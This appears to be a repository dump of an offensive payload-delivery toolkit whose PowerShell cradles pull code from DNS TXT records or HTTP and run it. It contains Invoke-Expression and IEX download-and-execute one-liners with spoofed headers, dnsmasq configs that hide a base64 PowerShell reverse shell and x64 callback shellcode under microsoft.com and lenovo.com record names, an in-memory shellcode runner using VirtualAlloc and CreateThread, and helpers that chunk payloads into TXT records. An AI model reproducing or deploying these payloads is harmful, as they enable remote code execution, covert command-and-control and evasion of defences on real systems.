├── Cradles ├── dns.txt └── php.txt ├── Dnsmasq ├── chunked-base64.conf ├── listener.conf ├── script.conf └── shellcode.conf ├── Helpers ├── Find-LongLines.ps1 ├── Format-ScriptToTxtRecord.ps1 └── Format-StringToTxtRecord.ps1 ├── LICENSE ├── PHP ├── decoy.php ├── listener.php ├── restricted-agent.php ├── restricted-ip.php ├── restricted-parameter.php ├── script.php └── shellcode.php ├── Payloads ├── dns-listener.ps1 ├── dns-script.ps1 ├── dns-shellcode.ps1 ├── php-listener.ps1 ├── php-script.ps1 └── php-shellcode.ps1 ├── README.md └── Screenshots ├── dns-1.png ├── dns-10.png ├── dns-11.png ├── dns-2.png ├── dns-3.png ├── dns-4.png ├── dns-5.png ├── dns-6.png ├── dns-7.png ├── dns-8.png ├── dns-9.png ├── php-1.png ├── php-10.png ├── php-11.png ├── php-12.png ├── php-13.png ├── php-14.png ├── php-15.png ├── php-16.png ├── php-17.png ├── php-2.png ├── php-3.png ├── php-4.png ├── php-5.png ├── php-6.png ├── php-7.png ├── php-8.png └── php-9.png /Cradles/dns.txt: -------------------------------------------------------------------------------- 1 | # String Lookup via Resolve-DnsName 2 | (Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings 3 | 4 | # String Lookup via nslookup 5 | ((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim() 6 | 7 | # Chunked String Lookup via Resolve-DnsName 8 | (1..$((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.tristram.pwn') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '' 9 | 10 | # Chunked String Lookup via nslookup 11 | (1..$(((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim()) | % {$D = ((nslookup -type=TXT $([System.String]$_+'.tristram.pwn') 192.168.0.21)[5]); If ($D.length -gt 0) {$D.replace('"','').TrimStart("`t").TrimEnd()} else {""}}) -join '' 12 | 13 | # Command Execution String Lookup via Resolve-DnsName 14 | Invoke-Expression $((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) 15 | 16 | # Command Execution String Lookup via nslookup 17 | Invoke-Expression $(((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim()) 18 | 19 | # Command Execution Chunked Base64 Lookup via Resolve-DnsName 20 | Invoke-Expression (([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($((1..$((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.tristram.pwn') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join ''))))) 21 | 22 | # Command Execution Chunked Base64 Lookup via nslookup 23 | Invoke-Expression (([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($(((1..$(((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim()) | % {$D = ((nslookup -type=TXT $([System.String]$_+'.tristram.pwn') 192.168.0.21)[5]); If ($D.length -gt 0) {$D.replace('"','').TrimStart("`t").TrimEnd()} else {""}}) -join '')))))) 24 | 25 | # Listener Lookup via Resolve-DnsName 26 | $DNS = (Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings 27 | $DNS.split(',')[0],$DNS.split(',')[1] 28 | 29 | # Listener Lookup via nslookup 30 | $DNS = ((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').TrimStart("`t").TrimEnd() 31 | $DNS.split(',')[0],$DNS.split(',')[1] 32 | 33 | # Shellcode Lookup via Resolve-DnsName 34 | [Byte[]]$buf = $((1..$((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.tristram.pwn') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ',' 35 | 36 | # Shellcode Lookup via nslookup 37 | [Byte[]]$buf = $((1..$(((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim()) | % {$D = ((nslookup -type=TXT $([System.String]$_+'.tristram.pwn') 192.168.0.21)[5]); If ($D.length -gt 0) {$D.replace('"','').TrimStart("`t").TrimEnd()} else {""}}) -join "") -split ',' 38 | 39 | # Script Lookup via Resolve-DnsName 40 | Invoke-Expression $((1..$((Resolve-DnsName -Name tristram.pwn -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.tristram.pwn') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) | Out-String) 41 | 42 | # Script Lookup via nslookup 43 | Invoke-Expression $((1..$(((nslookup -type=TXT tristram.pwn 192.168.0.21)[5]).replace('"','').trim()) | % {$D = ((nslookup -type=TXT $([System.String]$_+'.tristram.pwn') 192.168.0.21)[5]); If ($D.length -gt 0) {$D.replace('"','').TrimStart("`t").TrimEnd()} else {""}}) | Out-String) 44 | -------------------------------------------------------------------------------- /Cradles/php.txt: -------------------------------------------------------------------------------- 1 | # HTTP retrieval via Wget 2 | wget -qO- http://127.0.0.1/payload.php 3 | 4 | # HTTP retrieval via curl 5 | curl http://127.0.0.1/payload.php 6 | 7 | # Spoofed header via Wget 8 | wget -qO- --header="X-Forwarded-For: 192.168.0.26" http://127.0.0.1/payload.php 9 | 10 | # Spoofed header via curl 11 | curl -H "X-Forwarded-For: 192.168.0.26" http://127.0.0.1/payload.php 12 | 13 | # Spoofed user-agent via Invoke-WebRequest 14 | (Invoke-WebRequest http://192.168.0.21/payload.php -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.00').Content 15 | 16 | # Spoofed Client-IP Header vis Invoke-WebRequest 17 | (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'}).Content 18 | 19 | # Spoofed user-agent via System.Net.WebClient 20 | $WC = New-Object System.Net.WebClient 21 | $WC.Headers.Add('user-agent','Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0') 22 | $WC.DownloadString('http://192.168.0.21/payload.php') 23 | 24 | # Spoofed user-agent via System.Net.WebRequest 25 | $WC = [system.Net.WebRequest]::Create('http://192.168.0.21/payload.php') 26 | $WC.UserAgent = 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.00' 27 | $Response = $WC.GetResponse() 28 | $Stream = $Response.GetResponseStream() 29 | $SR = New-Object System.IO.StreamReader($Stream) 30 | $SR.ReadToEnd() 31 | 32 | # Listener retrieval via Invoke-WebRequest 33 | $HTTP = (Invoke-WebRequest http://192.168.0.21/payload.php?session -Headers @{'Client-IP' = '192.168.0.29'} -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.00) Gecko/20100101 Firefox/102.00').Content 34 | $HTTP.split(',')[0], $HTTP.split(',')[1] 35 | 36 | # Shellcode retrieval via System.Net.WebRequest 37 | $WC = [system.Net.WebRequest]::Create('http://192.168.0.21/payload.php') 38 | $WC.UserAgent = 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.00' 39 | $Response = $WC.GetResponse() 40 | $Stream = $Response.GetResponseStream() 41 | $SR = New-Object System.IO.StreamReader($Stream) 42 | [Byte[]]$buf = $SR.ReadToEnd() -split ',' 43 | 44 | # Script retrieval via Invoke-WebRequest 45 | $((Invoke-WebRequest http://192.168.0.21/payload.php?session -UserAgent 'Mozilla/5.0 (X11; Linux x86_64; rv:102.01) Gecko/20100101 Firefox/102.01' -Headers @{'X-Forwarded-For' = '192.168.0.29'}).Content) | IEX 46 | -------------------------------------------------------------------------------- /Dnsmasq/chunked-base64.conf: -------------------------------------------------------------------------------- 1 | no-resolv 2 | listen-address=127.0.0.1,192.168.0.21 3 | no-hosts 4 | txt-record=1.microsoft.com,"JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADAALgAyADEAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGE" 5 | txt-record=2.microsoft.com,"AbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7AC" 6 | txt-record=3.microsoft.com,"QAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlA" 7 | txt-record=4.microsoft.com,"HgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4" 8 | txt-record=5.microsoft.com,"AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB" 9 | txt-record=6.microsoft.com,"1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" 10 | txt-record=microsoft.com,"6" 11 | log-queries 12 | -------------------------------------------------------------------------------- /Dnsmasq/listener.conf: -------------------------------------------------------------------------------- 1 | no-resolv 2 | listen-address=127.0.0.1,192.168.0.21 3 | no-hosts 4 | txt-record=microsoft.com,"192.168.0.21,443" 5 | log-queries 6 | -------------------------------------------------------------------------------- /Dnsmasq/script.conf: -------------------------------------------------------------------------------- 1 | no-resolv 2 | listen-address=127.0.0.1,192.168.0.21, 192.168.120.128 3 | no-hosts 4 | txt-record=1.microsoft.com,"0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c" 5 | txt-record=2.microsoft.com,",0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x1" 6 | txt-record=3.microsoft.com,"8,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40" 7 | txt-record=4.microsoft.com,",0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9" 8 | txt-record=5.microsoft.com,",0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0" 9 | txt-record=6.microsoft.com,"x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0" 10 | txt-record=7.microsoft.com,"x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0x" 11 | txt-record=8.microsoft.com,"b8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x" 12 | txt-record=9.microsoft.com,"0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x" 13 | txt-record=10.microsoft.com,"48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x8" 14 | txt-record=11.microsoft.com,"9,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41" 15 | txt-record=12.microsoft.com,",0x89,0xda,0xff,0xd5" 16 | txt-record=microsoft.com,"12" 17 | txt-record=1.lenovo.com,"function LookupFunc {" 18 | txt-record=2.lenovo.com," Param (" 19 | txt-record=3.lenovo.com," $moduleName, " 20 | txt-record=4.lenovo.com," $functionName" 21 | txt-record=5.lenovo.com," )" 22 | txt-record=6.lenovo.com," $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')" 23 | txt-record=7.lenovo.com," $tmp = @()" 24 | txt-record=8.lenovo.com," $assem.GetMethods() | ForEach-Object { If ($_.Name -eq 'GetProcAddress') { $tmp += $_ } }" 25 | txt-record=9.lenovo.com," return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))" 26 | txt-record=10.lenovo.com,"}" 27 | txt-record=11.lenovo.com,"" 28 | txt-record=12.lenovo.com,"function getDelegateType {" 29 | txt-record=13.lenovo.com," Param (" 30 | txt-record=14.lenovo.com," [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func," 31 | txt-record=15.lenovo.com," [Parameter(Position = 1)] [Type] $delType = [Void]" 32 | txt-record=16.lenovo.com," )" 33 | txt-record=17.lenovo.com," $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)." 34 | txt-record=18.lenovo.com," DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])" 35 | txt-record=19.lenovo.com," $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')" 36 | txt-record=20.lenovo.com," $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')" 37 | txt-record=21.lenovo.com," return $type.CreateType()" 38 | txt-record=22.lenovo.com,"}" 39 | txt-record=23.lenovo.com,"" 40 | txt-record=24.lenovo.com,"$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)" 41 | txt-record=25.lenovo.com,"[Byte[]]$buf = $((1..$((Resolve-DnsName -Name microsoft.com -Type 'txt' -Server 192.168.0.21 -DnsOnly).Strings) | % {$((Resolve-DnsName -Name $([System.String]$_+'.microsoft.com') -Type txt -Server 192.168.0.21 -DnsOnly).Strings)}) -join '') -split ','" 42 | txt-record=26.lenovo.com,"[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)" 43 | txt-record=27.lenovo.com,"$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),`" 44 | txt-record=28.lenovo.com," (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)" 45 | txt-record=29.lenovo.com,"[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) " 46 | txt-record=lenovo.com,"29" 47 | log-queries 48 | -------------------------------------------------------------------------------- /Dnsmasq/shellcode.conf: -------------------------------------------------------------------------------- 1 | no-resolv 2 | listen-address=127.0.0.1,192.168.0.21 3 | no-hosts 4 | txt-record=1.microsoft.com,"0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c" 5 | txt-record=2.microsoft.com,",0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x8b,0x48,0x1" 6 | txt-record=3.microsoft.com,"8,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x4d,0x31,0xc9,0x48,0x1,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40" 7 | txt-record=4.microsoft.com,",0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9" 8 | txt-record=5.microsoft.com,",0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x0,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,0x7,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x53,0x53,0x49,0xba,0x3a,0" 9 | txt-record=6.microsoft.com,"x56,0x79,0xa7,0x0,0x0,0x0,0x0,0xff,0xd5,0xe8,0xd,0x0,0x0,0x0,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x30,0x2e,0x32,0x31,0x0,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0xbb,0x1,0x0,0x0,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x3,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,0x0,0x0,0" 10 | txt-record=7.microsoft.com,"x0,0x0,0xff,0xd5,0xe8,0x1f,0x0,0x0,0x0,0x2f,0x57,0x30,0x37,0x34,0x69,0x4e,0x45,0x31,0x70,0x48,0x56,0x69,0x75,0x57,0x4f,0x37,0x41,0x62,0x63,0x6e,0x34,0x51,0x75,0x77,0x69,0x34,0x52,0x49,0x57,0x0,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,0x53,0x48,0x" 11 | txt-record=8.microsoft.com,"b8,0x0,0x32,0xa8,0x84,0x0,0x0,0x0,0x0,0x50,0x53,0x53,0x49,0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0xa,0x5f,0x48,0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x0,0x0,0x49,0x89,0xe0,0x6a,0x4,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x0,0x" 12 | txt-record=9.microsoft.com,"0,0x0,0x0,0xff,0xd5,0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,0x53,0x49,0xc7,0xc2,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,0xc7,0xc1,0x88,0x13,0x0,0x0,0x49,0xba,0x44,0xf0,0x35,0xe0,0x0,0x0,0x0,0x0,0xff,0xd5,0x" 13 | txt-record=10.microsoft.com,"48,0xff,0xcf,0x74,0x2,0xeb,0xaa,0xe8,0x55,0x0,0x0,0x0,0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x0,0x10,0x0,0x0,0x49,0xba,0x58,0xa4,0x53,0xe5,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x8" 14 | txt-record=11.microsoft.com,"9,0xda,0x49,0xc7,0xc0,0x0,0x20,0x0,0x0,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x0,0x0,0x0,0x0,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,0x7,0x48,0x1,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x0,0x59,0xbb,0xe0,0x1d,0x2a,0xa,0x41" 15 | txt-record=12.microsoft.com,",0x89,0xda,0xff,0xd5" 16 | txt-record=microsoft.com,"12" 17 | log-queries 18 | -------------------------------------------------------------------------------- /Helpers/Find-LongLines.ps1: -------------------------------------------------------------------------------- 1 | function Find-LongLines() { 2 | [CmdletBinding()] 3 | [OutputType([System.String])] 4 | param 5 | ( 6 | [Parameter(Mandatory = $True, Position = 0)] 7 | [System.String]$Path, 8 | [Parameter(Mandatory = $False, Position = 1)] 9 | [System.Int32]$Length = 255 10 | ) 11 | Begin { 12 | $Script = [System.IO.File]::ReadLines("$Path") 13 | $Output = @() 14 | $Line = 1 15 | } 16 | Process { 17 | ForEach ($S in $Script) { 18 | If ($S.Length -ge $Length) { 19 | $Output += "[*] Line $Line >> $S" 20 | } 21 | $Line += 1 22 | } 23 | } 24 | End { 25 | if ($Output) { 26 | Write-Output "" 27 | return $Output 28 | } 29 | else { 30 | Write-Output "[*] This script doesn't contain any lines exceeding $Length characters" 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /Helpers/Format-ScriptToTxtRecord.ps1: -------------------------------------------------------------------------------- 1 | function Format-ScriptToTxtRecord() { 2 | [CmdletBinding()] 3 | [OutputType([System.String])] 4 | param 5 | ( 6 | [Parameter(Mandatory = $True, Position = 0)] 7 | [System.String]$Path, 8 | [Parameter(Mandatory = $True, Position = 1)] 9 | [System.String]$Name 10 | ) 11 | Begin { 12 | $Script = [System.IO.File]::ReadLines("$Path") 13 | $Output = @() 14 | $Iterations = 1 15 | } 16 | Process { 17 | ForEach ($S in $Script) { 18 | $Output += 'txt-record={0}.{1},"{2}"' -f $Iterations, $Name, $S 19 | $Iterations += 1 20 | } 21 | $Output += 'txt-record={0},"{1}"' -f $Name, $($Iterations - 1) 22 | } 23 | End { 24 | return $Output 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /Helpers/Format-StringToTxtRecord.ps1: -------------------------------------------------------------------------------- 1 | function Format-StringToTxtRecord() { 2 | [CmdletBinding()] 3 | [OutputType([System.String])] 4 | param 5 | ( 6 | [Parameter(Mandatory = $True, Position = 0)] 7 | [System.String]$String, 8 | [Parameter(Mandatory = $True, Position = 1)] 9 | [System.String]$Name, 10 | [Parameter(Mandatory = $False, Position = 2)] 11 | [System.Int32]$Characters = 255 12 | ) 13 | Begin { 14 | $CharArray = $String.ToCharArray() 15 | $Output = @() 16 | $Line = '' 17 | $Iterations = 1 18 | } 19 | Process { 20 | for ($Count = 0; $Count -lt $CharArray.Count; $Count++) { 21 | $line += $CharArray[$Count] 22 | if (($Count + 1) % $Characters -eq 0) { 23 | $Output += 'txt-record={0}.{1},"{2}"' -f $Iterations, $Name, $Line 24 | $Line = '' 25 | $Iterations += 1 26 | } 27 | } 28 | $Output += 'txt-record={0}.{1},"{2}"' -f $Iterations, $Name, $Line 29 | $Output += 'txt-record={0},"{1}"' -f $Name, $Iterations 30 | } 31 | End { 32 | return $Output 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of 